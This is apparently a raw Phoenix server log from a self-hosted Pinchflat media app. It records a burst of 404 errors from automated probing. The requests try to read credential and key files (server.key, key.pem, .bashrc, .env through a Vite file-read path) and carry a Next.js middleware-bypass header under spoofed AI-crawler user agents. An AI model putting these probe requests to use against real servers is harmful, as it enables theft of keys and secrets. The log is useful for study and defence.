%{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29654.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server.key", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33908}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, (truncated) 16:49:07.131 [info] GET /.zshrc 16:49:07.131 [debug] QUERY OK source="settings" db=0.0ms idle=79.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.131 [debug] QUERY OK source="settings" db=0.1ms idle=51.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.132 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.132 [error] #PID<0.29657.0> running PinchflatWeb.Endpoint (connection #PID<0.29656.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.zshrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29656.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.zshrc", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33924}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29657.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.zshrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ZuQtIK5Cs0ABwBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29656.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.zshrc", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33924}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29656.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.zshrc", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33924}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, (truncated) 16:49:07.142 [info] GET /.bashrc 16:49:07.143 [debug] QUERY OK source="settings" db=0.1ms idle=62.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.143 [debug] QUERY OK source="settings" db=0.0ms idle=43.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.143 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.143 [error] #PID<0.29659.0> running PinchflatWeb.Endpoint (connection #PID<0.29658.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.bashrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29658.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.bashrc", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33926}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29659.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.bashrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Zw-Ey02y9oABwBh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29658.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.bashrc", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33926}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29658.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.bashrc", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33926}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 16:49:07.150 [info] GET /key.pem 16:49:07.150 [debug] QUERY OK source="settings" db=0.1ms idle=50.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.150 [debug] QUERY OK source="settings" db=0.0ms idle=18.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.150 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.150 [error] #PID<0.29661.0> running PinchflatWeb.Endpoint (connection #PID<0.29660.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /key.pem ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29660.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/key.pem", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33930}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29661.0>, params: %{}, path_info: ["key"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/key.pem", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ZyvQuzB5pYABwCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29660.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/key.pem", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33930}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29660.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/key.pem", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33930}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0 (truncated) 16:49:07.228 [info] GET /@fs/app/.env 16:49:07.228 [debug] QUERY OK source="settings" db=0.1ms idle=96.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.229 [debug] QUERY OK source="settings" db=0.0ms idle=85.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.229 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.229 [error] #PID<0.29663.0> running PinchflatWeb.Endpoint (connection #PID<0.29662.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/app/.env?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29662.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33932}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => 